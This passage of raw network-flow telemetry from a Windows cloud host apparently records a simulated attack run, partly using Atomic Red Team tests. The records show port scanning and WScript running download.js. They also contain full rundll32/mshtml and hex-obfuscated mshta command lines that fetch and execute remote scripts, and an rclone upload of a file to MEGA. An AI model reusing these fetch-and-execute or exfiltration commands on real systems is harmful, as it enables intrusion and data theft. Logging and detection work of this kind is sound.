ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="E03D8DE0ACBA8761B28CE950A30828EA"
Jul  2 22:06:22 127.0.0.1 Jul  2 22:06:22 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44145" da="94.132.99.81" dp="21" fd="1" fss="1751493966" fst="Wed Jul  2 22:06:06 2025" fes="1751493966" fet="Wed Jul  2 22:06:06 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="dllhost.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751493966163" fems="1751493966163" pid="10856" ppath="C:\Program Files (x86)\Advanced Port Scanner\dllhost.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="E03D8DE0ACBA8761B28CE950A30828EA"
Jul  2 22:06:08 127.0.0.1 Jul  2 22:06:08 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44141" da="94.132.99.81" dp="80" fd="1" fss="1751493965" fst="Wed Jul  2 22:06:05 2025" fes="1751493965" fet="Wed Jul  2 22:06:05 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="dllhost.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751493965162" fems="1751493965162" pid="10856" ppath="C:\Program Files (x86)\Advanced Port Scanner\dllhost.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="E03D8DE0ACBA8761B28CE950A30828EA"
Jul  2 22:25:38 127.0.0.1 Jul  2 22:25:38 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44240" da="94.132.99.88" dp="4899" fd="1" fss="1751495103" fst="Wed Jul  2 22:25:03 2025" fes="1751495103" fet="Wed Jul  2 22:25:03 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="calc.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751495103267" fems="1751495103267" pid="8128" ppath="C:\Users\Administrator\Pictures\mal\calc.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="5ECFA445BE7B8A60873E8046D1CB3D62"
Jul  2 22:25:28 127.0.0.1 Jul  2 22:25:28 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44239" da="94.132.99.88" dp="445" fd="1" fss="1751495102" fst="Wed Jul  2 22:25:02 2025" fes="1751495102" fet="Wed Jul  2 22:25:02 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="calc.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751495102183" fems="1751495102183" pid="8128" ppath="C:\Users\Administrator\Pictures\mal\calc.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="5ECFA445BE7B8A60873E8046D1CB3D62"
Jul  2 22:25:18 127.0.0.1 Jul  2 22:25:18 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44238" da="94.132.99.88" dp="21" fd="1" fss="1751495101" fst="Wed Jul  2 22:25:01 2025" fes="1751495101" fet="Wed Jul  2 22:25:01 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="calc.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751495101167" fems="1751495101167" pid="8128" ppath="C:\Users\Administrator\Pictures\mal\calc.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="5ECFA445BE7B8A60873E8046D1CB3D62"
Jul  2 22:25:13 127.0.0.1 Jul  2 22:25:13 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="44237" da="94.132.99.88" dp="80" fd="1" fss="1751495100" fst="Wed Jul  2 22:25:00 2025" fes="1751495100" fet="Wed Jul  2 22:25:00 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="calc.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751495100160" fems="1751495100160" pid="8128" ppath="C:\Users\Administrator\Pictures\mal\calc.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="5ECFA445BE7B8A60873E8046D1CB3D62"
Jul  3 13:37:42 127.0.0.1 Jul  3 13:37:42 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="47788" da="185.199.110.133" dp="443" fd="1" fss="1751549835" fst="Thu Jul  3 13:37:15 2025" fes="1751549836" fet="Thu Jul  3 13:37:16 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WScript.exe" ph="B94F877E1A3D90BFB7DB4488589E2C5A164744C30731976192433BF690E6A1A5" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="7zFM.exe" pph="DC4FDCD96EFE7B41E123C4CBA19059162B08449627D908570B534E7D6EC7BF58" ibc="7133" obc="753" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751549835259" fems="1751549836657" pid="12076" ppath="C:\Windows\System32\WScript.exe" parg="\"C:\Users\ADMINI~1\AppData\Local\Temp\2\7zO80D29E0B\download.js\" " ppid="7432" pppath="C:\Program Files\7-Zip\7zFM.exe" pparg="C:\Users\Administrator\Downloads\goldfinch - Copy.rar" aliul="''" pil="12288" ppil="12288" fsg="0" puid="A3AFCB51EADD8951ACA328FD12B4D00C"
Jul  3 13:37:38 127.0.0.1 Jul  3 13:37:38 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="47788" da="185.199.110.133" dp="443" fd="1" fss="1751549835" fst="Thu Jul  3 13:37:15 2025" fes="1751549835" fet="Thu Jul  3 13:37:15 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WScript.exe" ph="B94F877E1A3D90BFB7DB4488589E2C5A164744C30731976192433BF690E6A1A5" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="7zFM.exe" pph="DC4FDCD96EFE7B41E123C4CBA19059162B08449627D908570B534E7D6EC7BF58" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751549835259" fems="1751549835259" pid="12076" ppath="C:\Windows\System32\WScript.exe" parg="\"C:\Users\ADMINI~1\AppData\Local\Temp\2\7zO80D29E0B\download.js\" " ppid="7432" pppath="C:\Program Files\7-Zip\7zFM.exe" pparg="C:\Users\Administrator\Downloads\goldfinch - Copy.rar" aliul="''" pil="12288" ppil="12288" fsg="1" puid="A3AFCB51EADD8951ACA328FD12B4D00C"
Jul  3 13:37:23 127.0.0.1 Jul  3 13:37:23 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="47787" da="185.199.110.133" dp="443" fd="1" fss="1751549801" fst="Thu Jul  3 13:36:41 2025" fes="1751549804" fet="Thu Jul  3 13:36:44 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WScript.exe" ph="B94F877E1A3D90BFB7DB4488589E2C5A164744C30731976192433BF690E6A1A5" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="7zFM.exe" pph="DC4FDCD96EFE7B41E123C4CBA19059162B08449627D908570B534E7D6EC7BF58" ibc="6434" obc="838" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751549801375" fems="1751549804815" pid="8360" ppath="C:\Windows\System32\WScript.exe" parg="\"C:\Users\ADMINI~1\AppData\Local\Temp\2\7zO80D7CB8B\download.js\" " ppid="7432" pppath="C:\Program Files\7-Zip\7zFM.exe" pparg="C:\Users\Administrator\Downloads\goldfinch - Copy.rar" aliul="''" pil="12288" ppil="12288" fsg="0" puid="D5BE04A3A04A892995509D46602FA291"
Jul  3 13:36:58 127.0.0.1 Jul  3 13:36:58 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="47787" da="185.199.110.133" dp="443" fd="1" fss="1751549801" fst="Thu Jul  3 13:36:41 2025" fes="1751549801" fet="Thu Jul  3 13:36:41 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WScript.exe" ph="B94F877E1A3D90BFB7DB4488589E2C5A164744C30731976192433BF690E6A1A5" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="7zFM.exe" pph="DC4FDCD96EFE7B41E123C4CBA19059162B08449627D908570B534E7D6EC7BF58" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751549801375" fems="1751549801375" pid="8360" ppath="C:\Windows\System32\WScript.exe" parg="\"C:\Users\ADMINI~1\AppData\Local\Temp\2\7zO80D7CB8B\download.js\" " ppid="7432" pppath="C:\Program Files\7-Zip\7zFM.exe" pparg="C:\Users\Administrator\Downloads\goldfinch - Copy.rar" aliul="''" pil="12288" ppil="12288" fsg="1" puid="D5BE04A3A04A892995509D46602FA291"
Jul  3 11:32:23 127.0.0.1 Jul  3 11:32:23 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="47298" da="185.199.111.133" dp="443" fd="1" fss="1751542325" fst="Thu Jul  3 11:32:05 2025" fes="1751542329" fet="Thu Jul  3 11:32:09 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WScript.exe" ph="B94F877E1A3D90BFB7DB4488589E2C5A164744C30731976192433BF690E6A1A5" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="7135" obc="753" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751542325089" fems="1751542329023" pid="4560" ppath="C:\Windows\System32\WScript.exe" parg="\"C:\Users\Administrator\AppData\Local\Temp\2\f9372ae1-fe09-45f0-928b-366f62190fea_goldfinch.zip.fea\download.js\" " ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="0" puid="2FCB695EC7C989C78D88FA799E867C78"
Jul  3 11:32:18 127.0.0.1 Jul  3 11:32:18 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="47298" da="185.199.111.133" dp="443" fd="1" fss="1751542325" fst="Thu Jul  3 11:32:05 2025" fes="1751542325" fet="Thu Jul  3 11:32:05 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="WScript.exe" ph="B94F877E1A3D90BFB7DB4488589E2C5A164744C30731976192433BF690E6A1A5" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1751542325089" fems="1751542325089" pid="4560" ppath="C:\Windows\System32\WScript.exe" parg="\"C:\Users\Administrator\AppData\Local\Temp\2\f9372ae1-fe09-45f0-928b-366f62190fea_goldfinch.zip.fea\download.js\" " ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="2FCB695EC7C989C78D88FA799E867C78"
Jul  3 19:58:38 127.0.0.1 Jul  3 19:58:38 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="49444" da="185.199.109.133" dp="443" fd="1" fss="1751572603" fst="Thu Jul  3 19:56:43 2025" fes="1751572713" fet="Thu Jul  3 19:58:33 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="rundll32.exe" ph="68E50F484067BE28FB9248545DB234C0288A9A94CB033A5436A557DD309E9705" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="7132" obc="720" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="7" mnl="''" mhl="''" fsms="1751572603124" fems="1751572713032" pid="7560" ppath="C:\Windows\System32\rundll32.exe" parg="javascript:\"\..\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/70921eb1bbfe3e75a61c9bc01bc36daa459ee361/atomics/T1059.007/src/sys_info.js\").Exec();window.close();" ppid="9232" pppath="C:\Windows\System32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="3192288D66E784ED9802EEE8DBBBF31E"
Jul  3 20:12:40 127.0.0.1 Jul  3 20:12:40 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="49550" da="185.199.110.133" dp="443" fd="1" fss="1751573530" fst="Thu Jul  3 20:12:10 2025" fes="1751573530" fet="Thu Jul  3 20:12:10 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="mshta.exe" ph="6837FB3E31B5BD17268EA0D1A51E4BEDB5CCB0A05A43847FB92A2483F06D603E" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="7479" obc="688" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751573530460" fems="1751573530738" pid="4476" ppath="C:\Windows\system32\mshta.exe" parg=" \"jAvaScriPt:var _=['\x73\x63\x72\x69\x70\x74\x3a\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x61\x77\x2e\x67\x69\x74\x68\x75\x62\x75\x73\x65\x72\x63\x6f\x6e\x74\x65\x6e\x74\x2e\x63\x6f\x6d\x2f\x72\x65\x64\x63\x61\x6e\x61\x72\x79\x63\x6f\x2f\x61\x74\x6f\x6d\x69\x63\x2d\x72\x65\x64\x2d\x74\x65\x61\x6d\x2f\x6d\x61\x73\x74\x65\x72\x2f\x61\x74\x6f\x6d\x69\x63\x73\x2f\x54\x31\x32\x31\x38\x2e\x30\x31\x31\x2f\x73\x72\x63\x2f\x54\x31\x32\x31\x38\x2e\x30\x31\x31\x2e\x73\x63\x74'];try{GetObject(_[0])()}catch(e){}close()\"" ppid="9232" pppath="C:\Windows\System32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="5225346A25F4847BB662CBF07716F855"
Jul  3 20:12:35 127.0.0.1 Jul  3 20:12:35 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="49550" da="185.199.110.133" dp="443" fd="1" fss="1751573530" fst="Thu Jul  3 20:12:10 2025" fes="1751573530" fet="Thu Jul  3 20:12:10 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="mshta.exe" ph="6837FB3E31B5BD17268EA0D1A51E4BEDB5CCB0A05A43847FB92A2483F06D603E" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751573530460" fems="1751573530460" pid="4476" ppath="C:\Windows\system32\mshta.exe" parg=" \"jAvaScriPt:var _=['\x73\x63\x72\x69\x70\x74\x3a\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x61\x77\x2e\x67\x69\x74\x68\x75\x62\x75\x73\x65\x72\x63\x6f\x6e\x74\x65\x6e\x74\x2e\x63\x6f\x6d\x2f\x72\x65\x64\x63\x61\x6e\x61\x72\x79\x63\x6f\x2f\x61\x74\x6f\x6d\x69\x63\x2d\x72\x65\x64\x2d\x74\x65\x61\x6d\x2f\x6d\x61\x73\x74\x65\x72\x2f\x61\x74\x6f\x6d\x69\x63\x73\x2f\x54\x31\x32\x31\x38\x2e\x30\x31\x31\x2f\x73\x72\x63\x2f\x54\x31\x32\x31\x38\x2e\x30\x31\x31\x2e\x73\x63\x74'];try{GetObject(_[0])()}catch(e){}close()\"" ppid="9232" pppath="C:\Windows\System32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="5225346A25F4847BB662CBF07716F855"
Jul  3 23:29:47 127.0.0.1 Jul  3 23:29:47 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50453" da="66.203.125.11" dp="443" fd="1" fss="1751585352" fst="Thu Jul  3 23:29:12 2025" fes="1751585352" fet="Thu Jul  3 23:29:12 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="rclone.exe" ph="25E803D081AFEB15BDBA2E3CAB634707DEA7A999434EA751931A51E165A6C9B8" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="276" ds="us-east-2.compute.internal" dh="g.api.mega.co.nz" iid="8" mnl="''" mhl="''" fsms="1751585352750" fems="1751585352900" pid="11668" ppath="C:\Users\Administrator\Downloads\rclone-v1.70.2-windows-amd64\rclone.exe" parg=" copy C:\Users\Administrator\Downloads\7z2409-x64.exe myremote:" ppid="6220" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="CAF96F5CD2C88416891C00372595B667"
Jul  3 23:29:27 127.0.0.1 Jul  3 23:29:27 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50453" da="66.203.125.11" dp="443" fd="1" fss="1751585352" fst="Thu Jul  3 23:29:12 2025" fes="1751585352" fet="Thu Jul  3 23:29:12 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="rclone.exe" ph="25E803D081AFEB15BDBA2E3CAB634707DEA7A999434EA751931A51E165A6C9B8" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="g.api.mega.co.nz" iid="8" mnl="''" mhl="''" fsms="1751585352750" fems="1751585352750" pid="11668" ppath="C:\Users\Administrator\Downloads\rclone-v1.70.2-windows-amd64\rclone.exe" parg=" copy C:\Users\Administrator\Downloads\7z2409-x64.exe myremote:" ppid="6220" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="CAF96F5CD2C88416891C00372595B667"
Jul  3 23:29:42 127.0.0.1 Jul  3 23:29:42 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50452" da="185.206.25.61" dp="80" fd="1" fss="1751585351" fst="Thu Jul  3 23:29:11 2025" fes="1751585352" fet="Thu Jul  3 23:29:12 2025" hh="gfs302n551.userstorage.mega.co.nz" hm="POST" ht="/ul/E8gBtzeGq9Q7BwdQMD_tbjFippc4vEabPNEp3t0f7gDgGJaZDPg1FJjpP4rQCQnxfzRNaFTMIa4RhxyAwqrQwg/0" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="rclone.exe" ph="25E803D081AFEB15BDBA2E3CAB634707DEA7A999434EA751931A51E165A6C9B8" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="1016" obc="1638494" ds="us-east-2.compute.internal" dh="gfs302n551.userstorage.mega.co.nz" iid="8" mnl="''" mhl="''" fsms="1751585351382" fems="1751585352900" pid="11668" ppath="C:\Users\Administrator\Downloads\rclone-v1.70.2-windows-amd64\rclone.exe" parg=" copy C:\Users\Administrator\Downloads\7z2409-x64.exe myremote:" ppid="6220" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="CAF96F5CD2C88416891C00372595B667"
Jul  3 23:29:37 127.0.0.1 Jul  3 23:29:37 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50451" da="66.203.125.53" dp="80" fd="1" fss="1751585351" fst="Thu Jul  3 23:29:11 2025" fes="1751585352" fet="Thu Jul  3 23:29:12 2025" hh="w.api.mega.co.nz" hm="GET" ht="/ORxuvSBX8z3osUcg0dGcpu1IYnI" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="rclone.exe" ph="25E803D081AFEB15BDBA2E3CAB634707DEA7A999434EA751931A51E165A6C9B8" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="200" obc="120" ds="us-east-2.compute.internal" dh="w.api.mega.co.nz" iid="8" mnl="''" mhl="''" fsms="1751585351049" fems="1751585352900" pid="11668" ppath="C:\Users\Administrator\Downloads\rclone-v1.70.2-windows-amd64\rclone.exe" parg=" copy C:\Users\Administrator\Downloads\7z2409-x64.exe myremote:" ppid="6220" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="CAF96F5CD2C88416891C00372595B667"
Jul  3 23:29:22 127.0.0.1 Jul  3 23:29:22 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50452" da="185.206.25.61" dp="80" fd="1" fss="1751585351" fst="Thu Jul  3 23:29:11 2025" fes="1751585351" fet="Thu Jul  3 23:29:11 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="rclone.exe" ph="25E803D081AFEB15BDBA2E3CAB634707DEA7A999434EA751931A51E165A6C9B8" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="gfs302n551.userstorage.mega.co.nz" iid="8" mnl="''" mhl="''" fsms="1751585351382" fems="1751585351382" pid="11668" ppath="C:\Users\Administrator\Downloads\rclone-v1.70.2-windows-amd64\rclone.exe" parg=" copy C:\Users\Administrator\Downloads\7z2409-x64.exe myremote:" ppid="6220" pppath="C:\Windows\system32\cmd.exe" aliul="''" 